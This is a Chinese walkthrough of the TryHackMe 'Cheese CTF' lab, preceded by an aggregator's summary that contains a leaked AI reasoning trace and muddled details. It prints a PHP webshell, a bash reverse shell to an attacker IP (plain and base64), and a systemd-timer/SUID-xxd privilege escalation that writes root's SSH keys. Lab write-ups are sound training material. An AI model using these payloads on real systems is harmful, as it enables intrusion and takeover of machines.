Cheese CTF Inspired by the great cheese talk of THM!
好的,我现在需要帮用户总结这篇文章的内容,控制在100字以内。首先,我得仔细阅读文章,抓住主要信息。 文章讲的是通过端口扫描发现一个PCAnywhere服务,接着利用LF漏洞和RCE提权。然后通过exploit.timer服务写入SSH公钥,最终获取root权限。还有免责声明部分,但用户可能不需要这部分。 我需要确保总结简洁明了,涵盖关键步骤:端口扫描、漏洞利用、提权、SSH访问root。同时,控制在100字以内。 可能的结构是:扫描发现漏洞,利用漏洞获取权限,提升到root。这样既全面又简短。 最后检查字数,确保不超过限制。 </think> 通过端口扫描发现PCAnywhere服务后,利用LF漏洞和RCE技术获取服务器访问权限,并通过exploit.timer服务写入SSH公钥实现提权至root。 2025-10-28 13:46:20 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

端口 扫描

扫描后,发现每一个端口都在开放

1-65535

发现65301存在一个pcanywhere

65301/tcp open  pcanywhere

重新扫描,把unknown去掉

nmap -p- 10.201.17.93 -T4  | grep -v "unknown"

端口还是太多了,我们尝试访问下80端口 ,我们发现了一个登录页面

1761483333_68fe1a45353cb10935ea7.png!small?1761483333791

首先使用sqlmap扫描一下

扫描发现我们可以跳转到一个页面

http://10.201.17.93/secret-script.php?file=php://filter/resource=supersecretmessageforadmin

打开之后发现

1761485219_68fe21a35966e234073e0.png!small?1761485219931

观察网址,我们发现存在一个lFI漏洞

1761485864_68fe2428c0e6ffd19eff4.png!small?1761485865443

使用php过滤链进行RCE

使用php_filter_chain_generator.py

首先上传一个

<?=`$_GET[0]`?>

0=id&file=php://filter/conv..

可以发现id正常显示

遂执行

sh -i >& /dev/tcp/10.4.8.68/4444 0>&1

可以使用base64先加密,然后

执行echo base64 |base64 -d|bash

成功反连c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ==

反连之后提升一下shell

访问comte

当我们登录www-data之后

执行

find /  -type f -writable 2>/dev/null | grep -Ev '^(/proc|/snap|/sys|/dev)'

1761640712_69008108e9e8d4aab5427.png!small?1761640714404

发现我们对comte的authorized_keys存在写入权限

ssh-keygen -f id_ed25519 -t ed25519

ssh -i id_ed25519 comte@ip访问成功登录

提权root

id uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)

执行sudo -l之后发现

comte@ip-10-201-109-55:~$ sudo -l
User comte may run the following commands on ip-10-201-109-55:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer

记得在刚才查看我们可以对什么文件存在写入权限的时候,我们发现存在一个exploit.timer

我们可以使用exploit.timer来实现查阅 root.txt的能力

查看exploit.timer为

[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

查看exploit.timer.service

后发现,执行的命令为

/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

其他用户可以执行/opt/xxd来查看文件

我们可以修改

[Timer]
OnBootSec=为

OnActiveSec=0

,然后使用上面的方法,使用/opt/xxd来执行相同的操作来写入root的/root/.ssh/authorized_keys

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHPnIr7gQp2PN0hIXl833BhSt0aeX0Jb6blMTizRMJAc root@kali' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys

可以直接登录访问root

也可以使用/opt/xxd来直接查看root.txt的内容

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/454604.html
如有侵权请联系:admin#unsafe.sh